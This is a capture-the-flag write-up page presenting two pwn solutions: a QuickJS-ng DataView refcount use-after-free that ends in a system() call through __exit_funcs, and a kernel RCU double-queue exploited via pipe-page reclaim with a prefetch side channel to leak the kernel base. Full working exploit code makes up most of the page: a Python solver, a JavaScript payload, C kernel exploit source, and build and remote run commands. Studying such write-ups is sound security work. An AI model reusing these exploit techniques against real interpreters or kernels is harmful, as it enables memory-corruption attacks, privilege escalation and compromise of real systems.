Skip to content

Pwn

Created

Updated

15 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

QuickJS-ng DataView refcount UAF to __exit_funcs

Event NameC2C 2026 Quals
GitHub URL-
Challenge Namelightspeed
Attachments
solve.py
#!/usr/bin/env python3
import argparse
import re
import socket
import sys
import time

HARD_LIMIT = 8192
FLAG_RE = re.compile(rb"[A-Za-z0-9_]{2,}\{[^}\n]+\}")


def recv_until(sock: socket.socket, needle: bytes, timeout=5.0) -> bytes:
    sock.settimeout(timeout)
    data = b""
    while needle not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
        if len(data) > 1 << 20:
            break
    return data


def extract_flag(data: bytes) -> str | None:
    match = FLAG_RE.search(data)
    if match:
        return match.group().decode()
    return None


def main():
    ap = argparse.ArgumentParser(description="lightspeed solver")
    ap.add_argument("--host", required=True)
    ap.add_argument("--port", required=True, type=int)
    ap.add_argument("--js", default="exploit.js", help="path to exploit.js")
    ap.add_argument(
        "--delay",
        type=float,
        default=0.35,
        help="delay between length line and payload (run.py buffering workaround)",
    )
    ap.add_argument("--timeout", type=float, default=10.0)
    ap.add_argument(
        "--attempts",
        type=int,
        default=20,
        help="number of exploit attempts before giving up",
    )
    ap.add_argument(
        "--retry-delay",
        type=float,
        default=0.0,
        help="sleep between attempts",
    )
    ap.add_argument(
        "--verbose",
        action="store_true",
        help="print per-attempt output instead of only the final flag",
    )
    args = ap.parse_args()

    payload = open(args.js, "rb").read()
    if len(payload) > HARD_LIMIT:
        raise SystemExit(f"payload too large: {len(payload)} > {HARD_LIMIT}")

    if args.attempts < 1:
        raise SystemExit("--attempts must be at least 1")

    last_output = b""
    last_error = ""
    for attempt in range(1, args.attempts + 1):
        try:
            with socket.create_connection((args.host, args.port), timeout=args.timeout) as s:
                banner = recv_until(s, b": ", timeout=args.timeout)
                if args.verbose:
                    sys.stdout.buffer.write(banner)
                    sys.stdout.buffer.flush()

                s.sendall(str(len(payload)).encode() + b"\n")
                # IMPORTANT: run.py mixes text readline() + buffer.read(); send in 2 phases.
                time.sleep(args.delay)
                s.sendall(payload)

                s.shutdown(socket.SHUT_WR)
                s.settimeout(args.timeout)
                out = b""
                while True:
                    try:
                        chunk = s.recv(4096)
                    except socket.timeout:
                        break
                    if not chunk:
                        break
                    out += chunk
        except Exception as exc:
            last_error = str(exc)
            if attempt == args.attempts:
                raise SystemExit(f"attempt {attempt}/{args.attempts} failed: {exc}")
            continue

        last_output = out
        flag = extract_flag(out)
        if args.verbose:
            sys.stdout.buffer.write(out)
            sys.stdout.buffer.flush()
        if flag:
            if not args.verbose:
                print(flag)
            return

        if attempt == args.attempts:
            if last_output:
                sys.stderr.buffer.write(last_output)
                sys.stderr.buffer.flush()
            elif last_error:
                print(last_error, file=sys.stderr)
            raise SystemExit(f"flag not found after {args.attempts} attempts")

        if args.retry_delay:
            time.sleep(args.retry_delay)


if __name__ == "__main__":
    main()
References

  • Root cause: js_dataview_constructor stores the backing ArrayBuffer pointer without js_dup(buffer), so the DataView does not own a refcount on the buffer object and can outlive a freed/reclaimed JSArrayBuffer.
  • Final exploit chain: reclaim freed JSArrayBuffer state with a typed-array-backed object, pivot the DataView into arbitrary read/write, leak PIE from js_array_buffer_free, leak libc from malloc@GOT, recover pointer_guard from AT_RANDOM, then overwrite __exit_funcs[0] with mangled system("/app/getflag").
  • Environment caveats: the working offsets target Debian glibc 2.41; the exploit is probabilistic and often fails at the Stage 0b detached-check bypass before succeeding on retry.
  • Local validation: rebuilt challenge/Dockerfile with a local placeholder getflag and confirmed python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10 returns FAKE{local_test_flag} from a clean build on March 9, 2026.
  • Remote status: challenges.1pc.tf:29786 timed out on March 9, 2026, but the same payload previously recovered the real challenge flag.
  • why it is vulnerable
    // quickjs.c / js_dataview_constructor
    p = JS_VALUE_GET_OBJ(obj);
    ta->obj = p;
    // BUG: the DataView keeps the JSArrayBuffer pointer without bumping its refcount.
    // When the original JSValue dies, the JSArrayBuffer can be freed and later reclaimed.
    ta->buffer = JS_VALUE_GET_OBJ(buffer);
    exploit payload
    function rol64(x, r){
      r = BigInt(r & 63);
      return ((x << r) | (x >> (64n - r))) & 0xffffffffffffffffn;
    }
    function assert(c){ if(!c) throw 1; }
    let back = new ArrayBuffer(0x2000);
    let ab = new ArrayBuffer(0x100);
    let dv = new DataView(ab);
    const N = 0x800;
    let views = new Array(N);
    ab = null;
    for(let i=0;i<N;i++) views[i] = new Uint8Array(back);
    let ta1 = dv.buffer;
    let idx = -1;
    for(let i=0;i<N;i++) if(views[i] === ta1){ idx = i; break; }
    assert(idx !== -1);
    let good = null;
    for(let i=idx+1;i<N;i++){
      try { dv.getUint8(0); good = views[i]; break; } catch(e) {}
      views[i] = null;
    }
    assert(good !== null);
    for(let i=0;i<N;i++) if(i!==idx && views[i] !== good) views[i] = null;
    views = null;
    function leak64(off){ return dv.getBigUint64(off, true); }
    function poke64(off, v){ dv.setBigUint64(off, v, true); }
    let ta1_struct = leak64(0x30);
    let back_data  = leak64(0x38);
    let dv_back = new DataView(back);
    dv_back.setUint32(0x00, 0x10000, true);
    dv_back.setUint32(0x04, 0x10000, true);
    dv_back.setUint8(0x08, 0);
    dv_back.setBigUint64(0x10, 0n, true);
    poke64(0x30, back_data);
    function set_data_ptr(p){ dv_back.setBigUint64(0x10, p, true); }
    function aar64(addr){ set_data_ptr(addr); return dv.getBigUint64(0, true); }
    function aaw64(addr, val){ set_data_ptr(addr); dv.setBigUint64(0, val, true); }
    let ta1_obj = aar64(ta1_struct + 0x10n);
    const QJS_JS_ARRAY_BUFFER_FREE = 0x1b060n;
    const QJS_MALLOC_GOT = 0x129d90n;
    const LIBC_MALLOC_OFF  = 0x0a2b50n;
    const LIBC_SYSTEM_OFF  = 0x053110n;
    const LIBC_ENVIRON_OFF = 0x1ede28n;
    const LIBC_EXIT_FUNCS_OFF = 0x1e6680n;
    let code_ptr = aar64(ta1_struct + 0x30n);
    if(code_ptr < 0x10000n) throw 4;
    if(aar64(code_ptr) !== 0x8948534374d28548n) throw 5;
    let qjs_base = code_ptr - QJS_JS_ARRAY_BUFFER_FREE;
    let malloc_ptr = aar64(qjs_base + QJS_MALLOC_GOT);
    let libc_base = malloc_ptr - LIBC_MALLOC_OFF;
    let SYSTEM = libc_base + LIBC_SYSTEM_OFF;
    let ENVIRON = libc_base + LIBC_ENVIRON_OFF;
    let EXIT_FUNCS = libc_base + LIBC_EXIT_FUNCS_OFF;
    function get_ptr_guard(){
      let envp = aar64(ENVIRON);
      let p = envp;
      while(aar64(p) !== 0n) p += 8n;
      p += 8n;
      for(;;){
        let t = aar64(p);
        let v = aar64(p + 8n);
        if(t === 0n) break;
        if(t === 25n) return aar64(v + 8n);
        p += 16n;
      }
      throw 2;
    }
    let guard = get_ptr_guard();
    let mangled_system = rol64(SYSTEM ^ guard, 0x11);
    let exit_list = aar64(EXIT_FUNCS);
    let entry0 = exit_list + 0x10n;
    let cmd_addr = exit_list + 0x300n;
    aaw64(exit_list + 0x8n, 1n);
    set_data_ptr(cmd_addr);
    let cmd = '/app/getflag\0';
    for(let i=0;i<cmd.length;i++) dv.setUint8(i, cmd.charCodeAt(i));
    aaw64(entry0 + 0x0n, 4n);
    aaw64(entry0 + 0x8n, mangled_system);
    aaw64(entry0 + 0x10n, cmd_addr);
    set_data_ptr(ta1_obj);
    dv.setBigUint64(0x30, ta1_struct, true);
    solver
    docker build -t lightspeed-repro:latest challenge
    docker run -d --rm --name lightspeed-repro-run -p 127.0.0.1:5003:5000 lightspeed-repro:latest
    python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10
    # remote command used previously when the service was online
    python3 solve.py --host challenges.1pc.tf --port 29786 --js exploit_aslr_final.js --delay 0.35 --attempts 20

    cornelslop kernel RCU double-queue to pipe-page reclaim

    Event NameDiceCTF Quals 2026
    Source URL-
    Challenge Namecornelslop
    Attachments
    exploit.c
    #define _GNU_SOURCE
    
    #include <errno.h>
    #include <fcntl.h>
    #include <sched.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/io.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/resource.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <time.h>
    #include <unistd.h>
    
    #define ADD_ENTRY 0xcafebabe
    #define DEL_ENTRY 0xdeadbabe
    #define CHECK_ENTRY 0xbeefbabe
    
    #define CPU_CHECK 0
    #define CPU_SHAPE 1
    #define CPU_NOISE 2
    #define CPU_RECLAIM 3
    
    #define BIG_LEN (256UL << 20)
    #define SMALL_LEN 0x1000UL
    
    #define CACHE_SIZE 56
    #define ROUNDS1 5
    #define ROUNDS2 4
    #define HOLD_COUNT (CACHE_SIZE * 2)
    
    #define PIPE_COUNT 0x700
    
    #define BRUH 0x10017ffULL
    
    #define KERNEL_LOWER_BOUND 0xffffffff80000000ULL
    #define KERNEL_UPPER_BOUND 0xffffffffc0000000ULL
    #define STEP_KERNEL 0x200000ULL
    #define ARR_SIZE_KERNEL ((KERNEL_UPPER_BOUND - KERNEL_LOWER_BOUND) / STEP_KERNEL)
    #define DUMMY_ITERATIONS 10
    #define ITERATIONS 10000
    
    #define FW_CFG_PORT_SEL 0x510
    #define FW_CFG_PORT_DATA 0x511
    #define FW_CFG_INITRD_DATA 0x12
    #define INITRD_DUMP_SIZE (4 * 1024 * 1024)
    
    struct cornelslop_user_entry {
        uint32_t id;
        uint64_t va_start;
        uint64_t va_end;
        uint8_t corrupted;
    };
    
    static int devfd = -1;
    static uint32_t ids[HOLD_COUNT];
    static volatile unsigned char *sem_page;
    static unsigned char *initrd_buf;
    static unsigned char *iret_stack;
    
    static void die(const char *msg)
    {
        perror(msg);
        exit(1);
    }
    
    static void pin_cpu(int cpu)
    {
        cpu_set_t set;
    
        CPU_ZERO(&set);
        CPU_SET(cpu, &set);
        if (sched_setaffinity(0, sizeof(set), &set) != 0)
            die("sched_setaffinity");
    }
    
    static void msleep(unsigned int ms)
    {
        struct timespec ts = {
            .tv_sec = ms / 1000,
            .tv_nsec = (long)(ms % 1000) * 1000000L,
        };
    
        if (nanosleep(&ts, NULL) != 0)
            die("nanosleep");
    }
    
    static long do_ioctl(unsigned long cmd, struct cornelslop_user_entry *entry)
    {
        long ret = ioctl(devfd, cmd, entry);
    
        if (ret < 0)
            return -errno;
        return ret;
    }
    
    static void *map_region(size_t size, unsigned char fill)
    {
        void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    
        if (addr == MAP_FAILED)
            die("mmap");
        memset(addr, fill, size);
        return addr;
    }
    
    static void raise_nofile_limit(void)
    {
        struct rlimit rl;
    
        if (getrlimit(RLIMIT_NOFILE, &rl) != 0)
            die("getrlimit");
    
        rl.rlim_cur = rl.rlim_max;
        if (setrlimit(RLIMIT_NOFILE, &rl) != 0)
            die("setrlimit");
    }
    
    static int add_entry_retry(struct cornelslop_user_entry *entry)
    {
        long ret;
    
        for (;;) {
            ret = do_ioctl(ADD_ENTRY, entry);
            if (ret == -ENOSPC) {
                msleep(50);
                continue;
            }
            if (ret < 0) {
                fprintf(stderr, "ADD failed: %ld\n", ret);
                exit(1);
            }
            return 0;
        }
    }
    
    static void spray_entries(int count)
    {
        int i;
    
        if (count > HOLD_COUNT) {
            fprintf(stderr, "spray count too large: %d\n", count);
            exit(1);
        }
    
        for (i = 0; i < count; i++) {
            struct cornelslop_user_entry entry = {
                .id = (uint32_t)-1,
                .va_start = (uint64_t)map_region(SMALL_LEN, (unsigned char)('a' + (i % 26))),
                .corrupted = (uint8_t)-1,
            };
    
            entry.va_end = entry.va_start + SMALL_LEN;
            add_entry_retry(&entry);
            ids[i] = entry.id;
        }
    }
    
    static void delete_entries(int count, int cpu)
    {
        pid_t pid = fork();
        int i;
    
        if (pid < 0)
            die("fork delete_entries");
    
        if (pid == 0) {
            pin_cpu(cpu);
            for (i = 0; i < count; i++) {
                struct cornelslop_user_entry entry = {
                    .id = ids[i],
                };
                long ret = do_ioctl(DEL_ENTRY, &entry);
    
                if (ret < 0) {
                    fprintf(stderr, "DEL id=%u failed: %ld\n", ids[i], ret);
                    _exit(1);
                }
            }
            _exit(0);
        }
    
        if (waitpid(pid, NULL, 0) < 0)
            die("waitpid delete_entries");
    
        msleep(500);
    }
    
    static int create_pipes(int (**out_fds)[2])
    {
        int (*fds)[2];
        int i;
    
        fds = calloc(PIPE_COUNT, sizeof(*fds));
        if (!fds)
            die("calloc pipes");
    
        for (i = 0; i < PIPE_COUNT; i++) {
            if (pipe(fds[i]) != 0)
                die("pipe");
        }
    
        *out_fds = fds;
        return PIPE_COUNT;
    }
    
    static void spray_pipes(int (*fds)[2], int count, const void *payload)
    {
        int i;
    
        pin_cpu(CPU_RECLAIM);
    
        for (i = 0; i < count; i++) {
            ssize_t n = write(fds[i][1], payload, SMALL_LEN);
    
            if (n != (ssize_t)SMALL_LEN)
                die("write pipe payload");
        }
    }
    
    static uint64_t sidechannel(uint64_t addr)
    {
        uint64_t a, b, c, d;
    
        __asm__ volatile(
            ".intel_syntax noprefix\n"
            "mfence\n"
            "rdtscp\n"
            "mov %0, rax\n"
            "mov %1, rdx\n"
            "xor rax, rax\n"
            "lfence\n"
            "prefetchnta qword ptr [%4]\n"
            "prefetcht2 qword ptr [%4]\n"
            "xor rax, rax\n"
            "lfence\n"
            "rdtscp\n"
            "mov %2, rax\n"
            "mov %3, rdx\n"
            "mfence\n"
            ".att_syntax prefix\n"
            : "=r"(a), "=r"(b), "=r"(c), "=r"(d)
            : "r"(addr)
            : "rax", "rbx", "rcx", "rdx");
    
        a = (b << 32) | a;
        c = (d << 32) | c;
        return c - a;
    }
    
    static uint64_t prefetch_kernel_base(void)
    {
        uint64_t *data;
        uint64_t min = ~0ULL;
        uint64_t best = ~0ULL;
        uint64_t idx;
        int iter;
    
        data = calloc(ARR_SIZE_KERNEL, sizeof(*data));
        if (!data)
            die("calloc prefetch");
    
        for (iter = 0; iter < ITERATIONS + DUMMY_ITERATIONS; iter++) {
            for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
                uint64_t test = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
                uint64_t time;
    
                syscall(104);
                time = sidechannel(test);
                if (iter >= DUMMY_ITERATIONS)
                    data[idx] += time;
            }
        }
    
        for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
            data[idx] /= ITERATIONS;
            if (data[idx] < min) {
                min = data[idx];
                best = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
            }
        }
    
        free(data);
        return best - 0x1000000ULL;
    }
    
    static uint64_t get_kernel_base(void)
    {
        const char *override = getenv("KBASE_OVERRIDE");
        char *end = NULL;
        uint64_t base;
    
        if (override && *override) {
            base = strtoull(override, &end, 0);
            if (!end || *end != '\0') {
                fprintf(stderr, "invalid KBASE_OVERRIDE: %s\n", override);
                exit(1);
            }
            return base;
        }
    
        return prefetch_kernel_base();
    }
    
    __attribute__((noinline)) static void win(void)
    {
        int i;
    
        *sem_page = 1;
        outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
        for (i = 0; i < INITRD_DUMP_SIZE; i++)
            initrd_buf[i] = inb(FW_CFG_PORT_DATA);
    
        *sem_page = 2;
        for (;;)
            __asm__ volatile("pause");
    }
    
    static void build_pipe_payload(void *page, uint64_t kbase)
    {
        size_t off;
    
        memset(page, 0, SMALL_LEN);
    
        for (off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
            *(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
            *(uint64_t *)((char *)page + off + 0x08) = 0x33;
            *(uint64_t *)((char *)page + off + 0x10) = 0x3206;
            *(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
            *(uint64_t *)((char *)page + off + 0x20) = 0x2b;
            *(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
        }
    }
    
    static int write_and_extract_flag(void)
    {
        int fd;
    
        fd = open("/tmp/initrd.gz", O_CREAT | O_WRONLY | O_TRUNC, 0644);
        if (fd < 0)
            die("open /tmp/initrd.gz");
    
        if (write(fd, initrd_buf, INITRD_DUMP_SIZE) != INITRD_DUMP_SIZE)
            die("write /tmp/initrd.gz");
    
        close(fd);
        return system(
            "rm -rf /tmp/initrd-root && mkdir -p /tmp/initrd-root && "
            "gzip -dc /tmp/initrd.gz | (cd /tmp/initrd-root && cpio -id --quiet root/flag.txt) >/dev/null 2>&1 && "
            "cat /tmp/initrd-root/root/flag.txt || "
            "(gzip -d -f /tmp/initrd.gz >/dev/null 2>&1 && grep -aoE 'dice\\{[A-Za-z0-9_:-]+\\}' /tmp/initrd | head -n1)"
        );
    }
    
    static unsigned char wait_for_sem(unsigned int timeout_ms)
    {
        unsigned int waited = 0;
    
        while (*sem_page == 0 && waited < timeout_ms) {
            msleep(10);
            waited += 10;
        }
    
        return *sem_page;
    }
    
    static void run_child(struct cornelslop_user_entry *victim)
    {
        int i;
    
        pin_cpu(CPU_RECLAIM);
        if (do_ioctl(DEL_ENTRY, victim) < 0)
            _exit(1);
    
        pin_cpu(CPU_NOISE);
        for (i = 0; i < HOLD_COUNT; i++) {
            struct cornelslop_user_entry entry = {
                .id = ids[i],
            };
    
            if (do_ioctl(DEL_ENTRY, &entry) < 0)
                _exit(1);
        }
    
        for (;;)
            __asm__ volatile("pause");
    }
    
    int main(void)
    {
        struct cornelslop_user_entry victim = {0};
        void *victim_buf;
        void *payload_page;
        int (*pipes)[2];
        int i;
        long ret;
        pid_t child;
        uint64_t kbase;
    
        raise_nofile_limit();
    
        initrd_buf = mmap(NULL, INITRD_DUMP_SIZE, PROT_READ | PROT_WRITE,
                          MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        iret_stack = mmap(NULL, SMALL_LEN * 4, PROT_READ | PROT_WRITE,
                          MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        sem_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
                        MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        if (initrd_buf == MAP_FAILED || iret_stack == MAP_FAILED || sem_page == MAP_FAILED)
            die("mmap shared");
    
        kbase = get_kernel_base();
        printf("kernel base = 0x%llx\n", (unsigned long long)kbase);
        fflush(stdout);
    
        payload_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
        if (payload_page == MAP_FAILED)
            die("mmap payload_page");
        build_pipe_payload(payload_page, kbase);
    
        create_pipes(&pipes);
    
        pin_cpu(CPU_CHECK);
    
        devfd = open("/dev/cornelslop", O_RDONLY);
        if (devfd < 0)
            die("open /dev/cornelslop");
    
        for (i = 0; i < ROUNDS2; i++) {
            spray_entries(HOLD_COUNT);
            delete_entries(HOLD_COUNT, CPU_NOISE);
            printf("noise round %d/%d complete\n", i + 1, ROUNDS2);
            fflush(stdout);
        }
    
        victim_buf = map_region(BIG_LEN, 'A');
        victim.va_start = (uint64_t)victim_buf;
        victim.va_end = (uint64_t)victim_buf + BIG_LEN;
        victim.corrupted = (uint8_t)-1;
        add_entry_retry(&victim);
    
        printf("victim id=%u allocated\n", victim.id);
        fflush(stdout);
    
        spray_entries(HOLD_COUNT - 1);
        delete_entries(HOLD_COUNT - 1, CPU_SHAPE);
        printf("victim isolation round complete\n");
        fflush(stdout);
    
        for (i = 0; i < ROUNDS1; i++) {
            spray_entries(HOLD_COUNT);
            delete_entries(HOLD_COUNT, CPU_SHAPE);
            printf("shape round %d/%d complete\n", i + 1, ROUNDS1);
            fflush(stdout);
        }
    
        pin_cpu(CPU_NOISE);
        spray_entries(HOLD_COUNT);
        pin_cpu(CPU_CHECK);
    
        printf("hold set ready on cpu %d\n", CPU_NOISE);
        fflush(stdout);
    
        sleep(1);
        *(volatile unsigned char *)victim_buf = 0x69;
        printf("victim page corrupted\n");
        fflush(stdout);
    
        child = fork();
        if (child < 0)
            die("fork child");
        if (child == 0)
            run_child(&victim);
    
        pin_cpu(CPU_CHECK);
        ret = do_ioctl(CHECK_ENTRY, &victim);
        printf("check ret=%ld corrupted=%u\n", ret, victim.corrupted);
        fflush(stdout);
    
        if (ret < 0 || !victim.corrupted) {
            fprintf(stderr, "victim race failed ret=%ld corrupted=%u\n",
                    ret, victim.corrupted);
            return 1;
        }
    
        spray_pipes(pipes, PIPE_COUNT, payload_page);
        printf("pipe reclaim spray complete\n");
        fflush(stdout);
    
        printf("waiting for controlled iret\n");
        fflush(stdout);
    
        ret = wait_for_sem(10000);
        printf("sem stage=%ld\n", ret);
        fflush(stdout);
    
        if (ret < 1) {
            fprintf(stderr, "iret stage never reached userland\n");
            return 1;
        }
    
        while (*sem_page < 2)
            msleep(100);
    
        printf("returned to userland with controlled iret\n");
        fflush(stdout);
    
        if (write_and_extract_flag() != 0) {
            fprintf(stderr, "failed to extract flag from dumped initrd\n");
            return 1;
        }
    
        return 0;
    }
    
    References

  • Root cause: check_entry() keeps a stale xa_load() result across the SHA256 walk, and on mismatch it calls destruct_entry(e) even if xa_erase() already lost the entry. That queues the same rcu_head twice.
  • Final exploit chain: shape the cornelslop_entry cache across CPUs so the first callback frees the victim into buddy on CPU 3, spray pipe pages on CPU 3 to reclaim the slab page, overwrite rcu.func with the BRUH trampoline plus a controlled iret frame, return to userland, then dump initrd through QEMU fw_cfg and extract root/flag.txt.
  • Local validation: on March 10, 2026, a rerun with nokaslr and KBASE_OVERRIDE=0xffffffff81000000 reached the controlled iret, dumped initrd, and printed dice{test}.
  • Remote validation: on March 10, 2026, the same solver ran on cornelslop.chals.dicec.tf:1337 without KBASE_OVERRIDE, leaked kernel base = 0xffffffff85000000, reached returned to userland with controlled iret, and printed dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}.
  • Operational caveat: the remote upload helper echoes the full base64 heredoc and can take a few minutes before /tmp/exploit is staged; stripping the binary first reduced the upload size and made the round-trip more tolerable.
  • Environment caveat: local workspace still does not expose KVM, so the leak stage was validated on the remote challenge infrastructure rather than locally.
  • Checkpoint note: KBASE_OVERRIDE lets the reclaim, gadget, and fw_cfg stages be tested independently from the KASLR leak.
  • why it is vulnerable
    // extracted/cornelslop.c
    e = xa_load(&cornelslop_xa, ue->id);
    // BUG: e stays live across the full SHA256 of up to 256 MiB of user pages.
    ret = sha256_va_range(e->va_start, e->va_end, shash);
    
    ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);
    
    if (ue->corrupted) {
        xa_erase(&cornelslop_xa, ue->id);
        // BUG: the xa_erase() result is ignored, so a concurrent DEL_ENTRY can
        // already have queued the same rcu_head and we queue it a second time here.
        destruct_entry(e);
    }
    exploit payload
    __attribute__((noinline)) static void win(void)
    {
        *sem_page = 1;
        outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
        for (int i = 0; i < INITRD_DUMP_SIZE; i++)
            initrd_buf[i] = inb(FW_CFG_PORT_DATA);
        *sem_page = 2;
        for (;;)
            __asm__ volatile("pause");
    }
    
    static void build_pipe_payload(void *page, uint64_t kbase)
    {
        for (size_t off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
            *(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
            *(uint64_t *)((char *)page + off + 0x08) = 0x33;
            *(uint64_t *)((char *)page + off + 0x10) = 0x3206;
            *(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
            *(uint64_t *)((char *)page + off + 0x20) = 0x2b;
            *(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
        }
    }
    
    static void run_child(struct cornelslop_user_entry *victim)
    {
        pin_cpu(CPU_RECLAIM);
        do_ioctl(DEL_ENTRY, victim);
    
        pin_cpu(CPU_NOISE);
        for (int i = 0; i < HOLD_COUNT; i++) {
            struct cornelslop_user_entry entry = { .id = ids[i] };
            do_ioctl(DEL_ENTRY, &entry);
        }
    
        for (;;)
            __asm__ volatile("pause");
    }
    solver
    gcc -Wall -Wextra -O2 -static -no-pie exploit.c -o extracted/initramfs/home/ctf/exploit
    (
      cd extracted/initramfs &&
      find . | cpio -o -H newc | gzip -9 > ../dist/initramfs-exploit.cpio.gz
    )
    
    # validated local control-flow test
    qemu-system-x86_64 -m 4G -smp 4 -nographic \
      -kernel extracted/remote/bzImage \
      -append "console=ttyS0 loglevel=3 panic=-1 oops=panic pti=on no5lvl nokaslr" \
      -no-reboot -cpu max \
      -initrd extracted/dist/initramfs-exploit.cpio.gz \
      -monitor /dev/null
    
    # inside guest
    KBASE_OVERRIDE=0xffffffff81000000 ./exploit
    
    # validated remote helper flow on March 10, 2026
    strip -s extracted/initramfs/home/ctf/exploit -o /tmp/cornelslop-remote
    ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 \
      cornelslop@cornelslop.chals.dicec.tf connect \
      $(cat /tmp/cornelslop-remote | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 cornelslop.chals.dicec.tf upload)
    
    # inside the guest after the upload heredoc finishes
    /tmp/exploit
    
    # observed remote output
    # kernel base = 0xffffffff85000000
    # returned to userland with controlled iret
    # dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.